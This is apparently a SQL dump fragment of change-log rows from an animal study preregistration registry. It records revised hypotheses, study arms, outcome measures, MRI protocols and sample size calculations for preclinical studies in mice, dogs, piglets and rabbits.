	(202,217,'[{\"key\":\"experimental_design\",\"old_value\":\"Middle cerebral artery occlusion (transient occlusion for 30 minutes)\",\"new_value\":\"Middle cerebral artery occlusion (transient occlusion for 30 minutes)\\n\\nTime restricted feeding\\nWe decided to test the effect of time restricted feeding (8:16) on recovery of function in aged mice for better construct validity of the experimental design. (8 hour time frame to eat is feasible in patients and most of stroke patients are older than 65 years). The food provided to either group will consist of grain-based chow-diet (\\u201cssniff \\u2013 rat\\/mouse maintenance\\u201d).\\n\\nCircadian rhythm\\nWhile humans on a time restricted feeding diet often choose to eat between 10 am and 6 pm, this time frame cannot be transferred into mice due to their different circadian clock. Neglecting this could lead to dramatically biased results 10 11. Therefore, the time frame for the time restricted feeding period will be in the active phase of the mice from 11 pm (= ZT16) to 7 am (= ZT0) in this experiment. \\n\\nHealth monitoring\\nWeight and temperature will be measured on a daily basis. For the temperature measurements PLEXX\\u2019 RFID-chips will be used as published (Donath et al., 2016, Mei et al., 2019). The mice will be examined daily to monitor any apparent health deficits. \\n\\nAllocation and randomization\\nRandomization into the groups \\u201cad libitum\\u201d and \\u201ctime restricted feeding\\u201d will be performed using the online tool by GraphPad (https:\\/\\/www.graphpad.com\\/quickcalcs\\/randomize1.cfm). \\n\\nConcealment of group allocation and blinding\\nThe execution and analysis of the behavioral tests, MRI and the histology will be done by a researcher blinded for the group allocation. Videos of the rotating pole test of all mice will be randomized and allocated to new numbers to blind for group allocation and time recorded before and after stroke. Runs will not be blinded since the speed of the pole is visible in the videos.  \\n\\nData collection methods and reporting\\nPrimary data will be collected mainly as videos (Which data type?). All metadata of the microscopic images and videos will be shared alongside including raw data and meta data of the MRI. \\nAll primary data will be shared as open data on a repository. \\n\\nAll data that will be collected during the experiments (e.g. body temperature, body weight) will be published alongside the primary outcome measures.\\n\\nMethods to prevent bias\\nThe study will be analyzed according to the here declared statistical analysis plan independent whether or not the hypothesis testing shows a neutral, beneficial or harmful result in order to prevent publication bias. \\nAll animals will be reported and only preset inclusion\\/exclusion criteria will be exploited. \\nBlinding, randomization and concealment of treatment allocation will be executed according to the ARRIVE guidelines 12. We will use aged mice of both sexes to prevent methodological bias (translating data from young male mice into senior humans of both gender). We believe that mice aren\\u00b4t aware of their diet and its possible effects towards a healthier lifestyle, therefore we assume the placebo effect of the diet is little to none.\\n\\n\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"aged animals + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"23\",\"intervention\":\"aged animals + food ad libitum\"},{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"young animals + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"young animals + food ad libitum\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"aged animals (> 15 month) + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"23\",\"intervention\":\"aged animals (> 15 month) + food ad libitum\"},{\"type\":\"intervention\",\"number\":\"23\",\"intervention\":\"young animals (2 - 6 month) + time restrichted feeding\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"young animals (2 - 6 month) + food ad libitum\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: based on the performance in the rotating pole test 37 days after induction of ischemic stroke (MCAo) in relation to the performance in the rotating pole test before the MCAo (baseline) in the control group versus fasting group\",\"new_value\":\"Efficacy: The primary outcome of this study is the performance ratio. The performance ratio is defined as the ratio of the score in the rotating pole test after the three-week recovery period and the score at baseline.\\nWe powered this study for two primary objectives that are both evaluated using the primary outcome. \\nThe first one will be the comparison between the performance ratios of aged animals on a time restricted feeding diet or food ad libitum. This will give us the effect of intermittent fasting as a treatment for ischemic stroke and should give us an effect size more translatable to humans than if just young animals would have been used.\\nThe second one will be the comparison between performance ratios of young and aged mice on a time restricted feeding diet. This comparison will show us whether age has an impact on the effect of time restricted feeding diet on the performance score .\\n\\nRotating pole test\\nIn the rotating pole test mice are put at the end of a pole. The safe cage is on the other side of the pole. Each test consists of 5 runs per mouse: \\n1 \\u2013 the pole does not turn.\\n2 \\u2013 the pole turns 3 x\\/min to the left\\n3 \\u2013 the pole turns 3 x\\/min to the right\\n4 \\u2013 the pole turns 10 x\\/min to the left\\n5 \\u2013 the pole turns 10 x\\/min to the right \\nFor every run the animals will get a score ranging from 0 (mouse immediately falls off the pole into the security net) to 6 (mouse runs over the pole without slipping). Adding these 5 scores together gives you a total score ranging from 0 (worst performance) to 30 (best performance).\\n\\n\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"mortality, infarct lesion size (mri, histology), sticky tape test, rotarod test, body weight \",\"new_value\":\"Secondary outcomes\\nSurvival or censored subjects (humane endpoints)\\nMortality rates will also comprise mice that will be censored and sacrificed according to the preset humane endpoint criteria that were approved and listed und exclusion criteria below. A Kaplan Meier curve for this analysis will be calculated per group and age of mice.\\n\\nKey secondary outcome: sticky tape test\\nWe will use the sticky tape test as a key secondary outcome to measure fine motor skills. In this test a little piece of coloured sticky tape is put on the right forepaw of the mouse and the time until notification and removal of the tape is measured. The whole tests gets recorded on video. On each test day there are 3 trials per mouse. \\n\\nFurther secondary outcomes\\nThere will be further behavioral tests performed, namely the Morris water maze test and the novel object recognition test to measure general and especially spatial memory.\\n\\nThe modified DeSimoni Neuroscores will be performed on days 1, 2, 7, 14 and 21 after MCAo as described in detail (Donath et al., 2016).\\nThe infarction and scar volume respectively will be measured via MRI on day 1 and day 31 after stroke. \\n\\nHistology\\nApart from determining the histological infarct size or scar size respectively we will analyze post stroke angiogenesis, using Lycopersicon Esculentum (Tomato) Lectin (LEL, TL) DyLight488, which will be injected and circulated for three minutes prior sacrifice (Malik et al., 2020). Additionally, vessel associated proliferating cells will be quantified using BrdU injections during the early recovery phase after the stroke (50 mg \\/ kg bodyweight on d1-7) or by co-staining with the endothelial-specific transcription factor ERG (abcam ab92513).\\n\\nIn vivo magnetic resonance imaging\\nAnimals will be scanned at two timepoints with morphometric T2-weighted (T2w) magnetic resonance imaging (MRI) and diffusion tensor imaging (DTI) in vivo at a 7 T horizontal Bore system and a Tx\\/Rx cryoprobe (Bruker, Ettlingen, Germany) using 2D-RARE and ParaVision 6.0.1 software. T2-w images at the first timepoint will be acquired with a 2D-RARE with TR \\/ TE = 4200 \\/ 36 ms, rare factor 8, 4 averages, 32 axial slices with a slice thickness of 0.5 mm, field of view of 2.56 x 2.56 cm, matrix size 256 x 256 and a 20mm bore quadrature volume resonator and at the second timepoint with a 2D-RARE with repetition time (TR) = 4300 ms, effective echo time (TE)= 33 ms, echo spacing (\\uf044TE)=11 ms, RARE factor=8, 2 averages, 40 contiguous axial slices with a slice thickness of 0.4 mm, field of view (FOV)=19.2 \\u00d7 19.2 mm2, matrix size MTX=192 \\u00d7 192, bandwidth BW=34722 Hz, and total acquisition time TA=3:26 min. Diffusion MR images will be acquired with a respiration-gated multishot 2D spin echo EPI sequence with matching geometry and resolution will be used (6 segments, TR=2200 ms, TE=32.4 ms, double sampling on, BW=300 kHz, diffusion gradient duration\\/separation= 3.9 ms\\/16 ms) and multishell diffusion encoding using 4 separate scans with one additional b=0 image each (6 directions with b=100 s\\/mm2, 13 directions with b=900 s\\/mm2, 25 directions with b=1600 s\\/mm2, 37 directions with b=2500 s\\/mm2, TA=18:42 min, effective TA due to respiratory gating ~35-40 min). Diffusion directions are calculated with the online tool available at http:\\/\\/www.emmanuelcaruyer.com\\/q-space-sampling.php 7, the number of points are varied linearly with diffusion wave vector q (b~q2), i.e. with a square root dependency N(b)~b1\\/2. T2-weighted images will be segmented into tissue probability maps of gray\\/white matter and cerebrospinal fluid and a custom brain atlas with 308 anatomical regions (154 right\\/154 left hemisphere) derived from the Allen mouse brain atlas will be registered to the T2-weighted and diffusion MR images using ANTx2 (https:\\/\\/github.com\\/ChariteExpMri\\/antx2). Diffusion MR images will be processed in mrtrix (https:\\/\\/www.mrtrix.org) and custom tools based on network analysis as described previously 8 9. The processing pipeline consists of\\n1.\\tConversion of Bruker raw data into NIFTI image format\\n2.\\tDenoising, Gibbs ringing removal, bias field correction, eddy current correction and motion correction\\n3.\\tCalculation of conventional diffusion tensor imaging maps of axial, radial, and mean diffusivity and of fractional anisotropy\\n4.\\tDiffusion orientation function reconstruction using constrained spherical deconvolution\\n5.\\tConnectome reconstruction using streamline tractography and SIFT2 optimization\\n6.\\tReconstruction of connectivity matrices counting the number of streamlines from atlas region to region\\n\\nFinally, we will perform group statistical comparisons on \\n\\u2022\\tEach connection in the connectivity matrix\\n\\u2022\\tNetwork metrics defined for each node (=atlas region), e.g. degree\\n\\u2022\\tNetwork metrics defined for the whole network (e.g. global efficiency)\\n\\u2022\\tDiffusion tensor imaging metrics (mean in each atlas region)\\n\\u2022\\tDiffusion tensor imaging metrics (voxel-wise after registration to the common atlas space)\\n\\u2022\\tGray matter tissue probability maps, i.e. voxel-based morphometric analysis (voxel-wise after transformation to the common atlas space)\\n\\nTime restricted feeding\\nWe decided to test the effect of time restricted feeding (8:16) on recovery of function in aged mice for better construct validity of the experimental design. (8 hour time frame to eat is feasible in patients and most of stroke patients are older than 65 years). The food provided to either group will consist of grain-based chow-diet (\\u201cssniff \\u2013 rat\\/mouse maintenance\\u201d).\\n\\nCircadian rhythm\\nWhile humans on a time restricted feeding diet often choose to eat between 10 am and 6 pm, this time frame cannot be transferred into mice due to their different circadian clock. Neglecting this could lead to dramatically biased results 10 11. Therefore, the time frame for the time restricted feeding period will be in the active phase of the mice from 11 pm (= ZT16) to 7 am (= ZT0) in this experiment. \\n\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"alpha: 0.025\\nbeta: 0.8\\nminimal detectable difference:\\nexpected number of drop-outs: 4 per group (i.e. 15 %)\",\"new_value\":\"Sample size\\nThe sample size of this study is powered to detect a significant effect for the two primary objectives:\\n1.\\tthe influence of the time restricted feeding diet in aged mice and \\n2.\\tthe influence of age on the effect of the time restricted feeding diet.\\n\\nThe primary endpoint is the rotating pole test. The primary endpoint will be used to evaluate both primary objectives. To keep the type I error rate for the primary analysis at maximum 5%, the Bonferroni corrected is applied. Therefore, to reach statistical significance, the p-values must be below 0.025. In the final analysis, mixed linear regression models will be implemented to analyze the primary outcomes. However, for the sample size calculation a simple t-test was used to make fewer assumptions about the data. \\n\\nSince we are the first to use the aforementioned performance score in the rotating pole test as a primary outcome, the assumption for this sample size calculation are based on the end-of-recovery test score (ranging from 0 to 30). \\nFor the first primary objective, we assumed a mean of 17.5 with standard deviation (SD) of 7.4 for mice without diet and mean of 11.4 (SD = 4.8) for mice with diet as the minimum clinical relevant difference that this study should be able to detect. These assumptions are based on experiments that where run in our lab by a different study group.\\n\\nAssuming a type I error rate of 0.025 using the R function pwr.t.test() in the package pwr (Champely 2020) a sample size of 19 mice with evaluable outcomes is required to achieve at least 80% power (code pwr.t.test(d = (17.553-11.409)\\/(sqrt((7.375^2+4.794^2)\\/2)), sig.level = 0.025), power = 0.8))\\n\\nChampely, Stephane (2020). pwr: Basic Functions for Power Analysis. R   package version 1.3-0. https:\\/\\/CRAN.R-project.org\\/package=pwr.\\n\\nTo our knowledge, there is currently no data at all for aged animals performing this particular behavioral test. We anticipate a reduction of around 35 % of the performance in the rotating pole test in animals aged &gt; 15 months. For the sample size calculation, we assume the same effect of the diet to be relevant as in young animals, thus the sample size is the same as for young animals.  \\n\\nTo account for 15% anticipated non-learners, which will be treated as dropouts, the total sample size per group will be 23. \\n\\nExclusion criteria\\nAn animal will be excluded, if they fulfil at least one of the following criteria:\\n-\\tone of the humane endpoints is reached (i. e. auto mutilation, akinesia, constant circling or barrel rotation, inability to stand, loss of &gt; 20 % of bodyweight)\\n-\\tdeath during MCAo surgery or vascular abnormality with inability to insert the filament to induce ischemia \\n-\\tthe infarct size in the MRI at day 1 is below 2 mm3\\n-\\tthe animal does not learn to do the task in the main behavioral test (i. e. rotating pole test), which can be seen if the baseline score in the rotating pole test is 0 \\n-\\tmajor experimental protocol violations occur\\n\\n\\n\"}]','2021-02-12 11:20:46','2021-02-12 11:20:46'),
	(203,142,'[{\"key\":\"investigators_blinded_intervention\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"end_date\",\"old_value\":\"2021-10-31\",\"new_value\":\"2022-12-31\"},{\"key\":\"financial_support\",\"old_value\":[\"grants\",\"other\"],\"new_value\":[\"other\"]},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"135\",\"intervention\":\"standard medical therapy alone.\"},{\"type\":\"intervention\",\"number\":\"135\",\"intervention\":\"PACK-CXL \"}],\"new_value\":[{\"type\":\"control\",\"number\":\"135\",\"intervention\":\"standard medical therapy \"},{\"type\":\"intervention\",\"number\":\"135\",\"intervention\":\"PACK-CXL \"}]},{\"key\":\"hypothesis\",\"old_value\":\"Alternative\\/adjunctive treatment for corneal ulcers (infectious keratitis,melting keratitis, melting corneal ulcer) in cannine patients.\\r\\n\\r\\nWe hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of corneal ulcers in dogs and therefore minimize the number of surgical interventions needed.\",\"new_value\":\"Hypothesis: PACK-CXL treatment will result in a higher treatment success rate in cases of corneal stromal ulcers in dogs compared to standard medical therapy.\\n\\nResearch question: Is PACK-CXL an effective alternative to conventional medical therapy for stromal corneal ulcers in dogs?\\n\\nThe problem the study investigates: Alternative\\/adjunctive treatment for corneal ulcers (infectious keratitis, melting keratitis, melting corneal ulcer) in canine patients.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Primary endpoint of the study is:\\n1. The number of treatment failures per treatment arm.\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: hospitalised dogs will be monitor on a daily basis. All dogs will be monitor minimum at day 1, 2, 3, 7, 14 and 28)\\n\\nStudy will ends 28 days after starting of treatment for all dogs. Animals that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\",\"new_value\":\"It is an efficacy study with a primary endpoint: The number of treatment failures per treatment arm.\\n\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: Ophthalmic examination will be performed on day 0, 7, 14 and 28\\n\\nStudy will ends 28 days after starting of treatment for all dogs. Animals that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\"},{\"key\":\"start_date\",\"old_value\":\"2019-11-01\",\"new_value\":\"2021-01-01\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"2. The time elapsed between starting treatment and the presence of a stable corneal stroma (as determined by the lack of the signs of melting).\\n\\u25cf\\tEvaluation of stromal stability\\/melting activity will be performed each day during hospitalisation and during each re-examination.\\n\\u25cf\\tBased upon: the presence of infiltrates, the perceived stability of the stroma, the (change in) corneal contour and ulcer depth and surface area and the presence of malacic (molten) corneal material in the ulcer area.\\n\\n3. The time elapsed between starting treatment and completion of epithelialisation of the ulcer (i.e. when the cornea is fluorescein negative). Re-epithelialization is related to stromal stability and ulcer healing.\",\"new_value\":\"Secondary endpoint: The time elapsed between starting treatment and completion of epithelialisation of the ulcer (i.e. when the cornea is fluorescein negative). Re-epithelialization is related to stromal stability and ulcer healing.\"},{\"key\":\"strain\",\"old_value\":\"Client owned dogs with a diagnosis of a stromal corneal ulcers, with clients willing to participate in the study.\\nCorneal ulcers will be characterised by a loss of the outer epithelium along with stromal loss and stromal infiltrates, neutrophilic inflammation or large number of bacteria confirmed on cytology. (The presence of infiltrates is eunequivocal, if in doubt, do not enter into trial). \\n\\u25cf\\tMaximal ulcer depth: not deeper than 50% stromal loss.\\n\\u25cf\\tMaximal ulcer diameter: not larger than 10 mm of diameter of the affected stroma.\\nOnly dogs that are not suffering from concurrent potentially immunosuppressive systemic disease (e,g. Diabetes mellitus, Cushings); concurrent corticosteroid treatment (systemic or topical); concurrent ocular conditions such as: keratoconjunctivitis sicca, senile calcific keratopathy, corneal dystrophy\\/bullous keratopathy, glaucoma will be include in the study. \",\"new_value\":\"Client-owned dogs with a diagnosis of a stromal corneal ulcer, with clients willing to participate in the study.\\nCorneal ulcers will be characterized by a loss of the outer epithelium along with stromal loss and stromal infiltrates neutrophilic inflammation or a large number of bacteria confirmed on cytology. (The presence of infiltrates is unequivocal if, in doubt, the patient will not enter into the trial). \\n\\u25cf\\tMaximal ulcer depth: not deeper than 50% stromal loss.\\n\\u25cf\\tMaximal ulcer diameter: not larger than 10 mm of the diameter of the affected stroma.\\nOnly dogs that are not suffering from the concurrent potentially immunosuppressive systemic disease (e,g. Diabetes mellitus, Cushings); concurrent corticosteroid treatment (systemic or topical); concurrent ocular conditions such as: keratoconjunctivitis sicca, senile calcific keratopathy, corneal dystrophy\\/bullous keratopathy, glaucoma and are grade ASA I-III (The American Society of Anesthesiologists) will be included in the study. \"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"},{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"\",\"new_value\":\"yes\"},{\"key\":\"yes_blinded_assessment_partially_details\",\"old_value\":\"\",\"new_value\":\"An assessor will not be aware of treatment allocation. The front leg of a patient will be bandaged to cover the clipping mark. A clipping mark is a result of an iv catheter placement,  knowledge of it could unmask group allocation\"}]','2021-03-15 17:57:41','2021-03-15 17:57:41'),
	(204,148,'[{\"key\":\"end_date\",\"old_value\":\"2019-05-01\",\"new_value\":\"2021-03-31\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"In this pilot feasibility trial to assess if the automated chest compression device works, all piglets will receive chest compression with 40%, 33%, and 25% depth\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 180\\/min\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 60\\/min\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 90\\/min\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Asphyxia \\/ hypoxia at birth\\r\\n\\r\\nWe hypothesize that using a chest compression depth of 40% and 25% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\",\"new_value\":\"Asphyxia \\/ hypoxia at birth\\n\\nWe hypothesize that using a chest compression rate of 180\\/min or 60\\/min compared to 90\\/min will result in faster times to return of spontaneous circulation.\"},{\"key\":\"study_stage\",\"old_value\":\"study_stage_1_value\",\"new_value\":\"study_stage_2_value\"},{\"key\":\"start_date\",\"old_value\":\"2019-01-01\",\"new_value\":\"2020-09-01\"},{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"active\"},{\"key\":\"title\",\"old_value\":\"Chest Compression Depth during Neonatal Cardiopulmonary Resuscitation\",\"new_value\":\"Chest Compression Rate during Neonatal Cardiopulmonary Resuscitation\"},{\"key\":\"sum_of_animals\",\"old_value\":\"8 piglets, this is a pilot study, which will allow us to do a proper sample size calculation for a randomized controlled animal trial.\",\"new_value\":\"The primary outcome measure will be the time of chest compression to achieve a return of spontaneous circulation. Our previous studies showed a mean (standard deviation) return of spontaneous circulation of 220(25) sec with a chest compression rate of 90\\/min. We hypothesize that a chest compression rate of 180\\/min would reduce time to achieve a return of spontaneous circulation. A sample size of 8 per group would be sufficient to detect a clinically important (20%) reduction in time to return of spontaneous circulation (i.e., 176sec vs. 220sec) with 90% power and a 2-tailed alpha error of 0.05.\"},{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"\",\"new_value\":\"no\"}]','2021-03-25 20:32:12','2021-03-25 20:32:12'),
	(205,233,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"90\",\"intervention\":\"normal hIPSC-derived oligodendroglia; mice non-stimulated\"},{\"type\":\"intervention\",\"number\":\"90\",\"intervention\":\"normal hIPSC-derived oligodendroglia; mice stimulated\"},{\"type\":\"control\",\"number\":\"90\",\"intervention\":\"patients hIPSC-derived oligodendroglia; mice non-stimulated\"},{\"type\":\"intervention\",\"number\":\"90\",\"intervention\":\"patients hIPSC-derived oligodendroglia; mice stimulated\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 1); mice stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 2); mice stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 1); mice non-stimulated (three time points)\"},{\"type\":\"control\",\"number\":\"45\",\"intervention\":\"normal hIPSC-derived oligodendroglia (cell line 2); mice non-stimulated (three time points)\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 1); mice stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 2); mice stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 1); mice non-stimulated\"},{\"type\":\"intervention\",\"number\":\"45\",\"intervention\":\"patients hIPSC-derived oligodendroglia (cell line 2); mice non-stimulated\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"The number of animals was determined according to previous studies\",\"new_value\":\"Samples sizes were chosen based on available information on variability from our previous study on transplanted human IPSC-derived OPCs in mice (Mozafari et al., 2020, Sci Adv,6(49):eabc6983). Nevertheless, sample size will be refined with G-Power software using preliminary data and adjusted if necessary. \"}]','2021-04-02 10:02:53','2021-04-02 10:02:53'),
	(206,234,'[{\"key\":\"research_field\",\"old_value\":\"After aneurysmal subarachnoid hemorrhage (aSAH) a multifactorial process (involving cerebral inflammation, delayed cerebral vasospasm, cortical spreading depression, early brain injury and lack of cerebral autoregulation) seems to be responsible for poor overall patients outcome. Following aneurysm rupture, which meanwhile can be efficiently treated by microsurgical clipping or endovascular coiling techniques, cerebral vasospasm and inflammation in particular remain responsible for patient\'s high morbidi- and mortality. Mainly 5 - 14 days after the initial bleeding event makro- likewise mikrovasospasm can cause delayed cerebral ischemia and devastating irreversible ischemic neurological deficits up to death.\",\"new_value\":\"Neuroscience.\"},{\"key\":\"hypothesis\",\"old_value\":\"Losartan, an angiotensin-2-type-1-receptor (AT2-1-receptor) antagonist and clinically widely established antihypertensive drug, already showed beneficial effects on cerebral vasospasm and inflammation after experimentally induced subarachnoid hemorrhage in a subarachnoid hemorrhage (SAH) model in rats, likewise on cerebral microcirculation in both ischemic and hemorrhagic stroke. Further on vasoprotective properties on the vascular media in animal models and also humans have been proven.\\n\\nOur goal is to evaluate a systemic losartan therapy for the a closed-cranium in vivo acute rabbit SAH model, depending on the results eventually in a small prospective patient population later on; we are also keen in evaluating possible vasoprotective effects of losartan concerning a de novo aneurysm genesis and recurrence in further control imaging of affected patients.\\n\\nFollowing hypotheses are postulated:\\nH0: no difference between the losartan group compared to SAH in incidence of dCVS will be observed. \\nH1: Losartan shows a clearly reduction of dCVS compared to the SAH group.\\n\\nThe main objective of this study is to demonstrate that after aSAH a systemic losartan administration dramatically reduces symptomatic dCVS and delayed cerebral ischemia, as well as other aspects of the multifactorial process responsible for poor patient\\u2019s outcome (cerebral inflammation, early brain injury) are influenced in a beneficial fashion.\\n\\nWe hypothesize a beneficial effect of a systemic losartan application on \\n1.\\tlowering the incidence of delayed cerebral vasospasm (angiographically and concerning HES staining of the basilar \\n        artery)\\n2.\\tdiminishing cerebral inflammation (concentration of PGF2a) in CSF\\n3.\\talleviating PGF2a- and ET-1-levels in CSF and systemically after SAH\\n4.\\tthe ammount of neuronal injury of hippocampal and basilar artery histology slices (stainings used are TUNEL, \\n        DAPI, Neuro N, Fluoro Jade B, fibrinogen for detecting microthromboses) \\n5.\\tthe distribution of ET-A- and ET-B1-receptor expression in immunohistochemical staining in favour of a decreased \\n        ET-A-receptor or increased ET-B1-receptor expression.\",\"new_value\":\"Following hypotheses are postulated:\\nH0: no difference between the losartan group compared to SAH in incidence of dCVS will be observed. \\nH1: Losartan shows a clearly reduction of dCVS compared to the SAH group.\\n\\nThe main objective of this study is to demonstrate that after aSAH a systemic losartan administration dramatically reduces symptomatic dCVS and delayed cerebral ischemia, as well as other aspects of the multifactorial process responsible for poor patient\\u2019s outcome (cerebral inflammation, early brain injury) are influenced in a beneficial fashion.\\n\\nWe hypothesize a beneficial effect of a systemic losartan application on \\n1.\\tlowering the incidence of delayed cerebral vasospasm (angiographically and concerning HES staining of the basilar \\n        artery)\\n2.\\tdiminishing cerebral inflammation (concentration of PGF2a) in CSF\\n3.\\talleviating PGF2a- and ET-1-levels in CSF and systemically after SAH\\n4.\\tthe ammount of neuronal injury of hippocampal and basilar artery histology slices (stainings used are TUNEL, \\n        DAPI, Neuro N, Fluoro Jade B, fibrinogen for detecting microthromboses) \\n5.\\tthe distribution of ET-A- and ET-B1-receptor expression in immunohistochemical staining in favour of a decreased \\n        ET-A-receptor or increased ET-B1-receptor expression.\"},{\"key\":\"sum_of_animals\",\"old_value\":\"The numbers of animals provided are based on the rate indicated in the literature for similar animal models. With the quantities selected below, we would have a rough comparison with the data of previously published series.45-47 The animals are randomized into three groups using sealedenvelope (www.sealedenvelope.com): 1) aSAH group n=12 (only SAH, no drugs), 2) aSAH group + early losartan group n=6; SAH Group + late losartan n=6; 3) sham group n=8 (no SAH, no losartan). Sensitivity Power Analysis was performed using &quot;G-Power Data Analysis and Power Calculation for One-way Independent ANOVA&quot;. So far, the mortality rate of up to 30% has been judged realistic on the basis of our past experience. Based on previous studies on the same model, we estimate an expected spasm reduction of about 30%. This results in a presumed effect size of 0.75; with this and setting an error of 0.05 and a power of 80%, a sample of 18 rabbits results, 9 rabbits per group. Based on the majority of previous studies, we generously expect a mortality of approximately 30% per group, which makes 2.7 (rounded up 3) rabbits per group. Added to the calculated sample (9 + 3), there are 12 rabbits in the SAH and losartan group. For the sham group, taking into account the given mortality rates, we will use 8 rabbits. Further reduction of the animals does not seem useful.\",\"new_value\":\"In total 32 animals are going to be analyzed, with corresponding drop-outs we expect 23 animals left for final analysis.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"The numbers of animals provided are based on the rate indicated in the literature for similar animal models. With the quantities selected below, we would have a rough comparison with the data of previously published series. The animals are randomized into three groups using sealedenvelope (www.sealedenvelope.com): 1) aSAH group n=12 (only SAH, no drugs), 2) aSAH group + early losartan group n=6; SAH Group + late losartan n=6; 3) sham group n=8 (no SAH, no losartan). Sensitivity Power Analysis was performed using &quot;G-Power Data Analysis and Power Calculation for One-way Independent ANOVA&quot;. So far, the mortality rate of up to 30% has been judged realistic on the basis of our past experience. Based on previous studies on the same model, we estimate an expected spasm reduction of about 30%. This results in a presumed effect size of 0.75; with this and setting an error of 0.05 and a power of 80%, a sample of 18 rabbits results, 9 rabbits per group. Based on the majority of previous studies, we generously expect a mortality of approximately 30% per group, which makes 2.7 (rounded up 3) rabbits per group. Added to the calculated sample (9 + 3), there are 12 rabbits in the SAH and losartan group. For the sham group, taking into account the given mortality rates, we will use 8 rabbits. Further reduction of the animals does not seem useful.\"}]','2021-04-21 12:10:24','2021-04-21 12:10:24'),
	(207,209,'[{\"key\":\"has_embargo\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"}]','2021-04-23 11:52:21','2021-04-23 11:52:21'),
	(208,209,'[{\"key\":\"experimental_design\",\"old_value\":\"Bile duct ligation\",\"new_value\":\"Bile duct ligation is used during the animal experiment. The common bile duct is tied off, causing cholestasis. This results in liver fibrosis after a few days. The mice will be killed 7 and 21 days after the procedure. In rodents, this model results in a histological picture as seen in biliary cirrhosis. When performed by an experienced biotechnician, this model is a robust and reproducible model for inducing liver fibrosis.\\n\\nThe time points of 7 and 21 days have been chosen because fibrosis onset is visible after 7 days, especially sinusoidal with inflammation. After 21 days, extensive fibrosis is visible throughout the liver parenchyma (including periportal) and a stable infiltrate is present. This allows the difference in early inflammation and long term fibrosis to be compared.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Fibrosis- and inflammation-associated signaling molecules, cells and proteins. \",\"new_value\":\"Fibrosis (e.g. collagen, fibronectin, CTGF) and inflammation (eg CCL2, Il-6, IL1B) associated signaling molecules, cells and proteins. \"}]','2021-04-28 15:47:28','2021-04-28 15:47:28'),
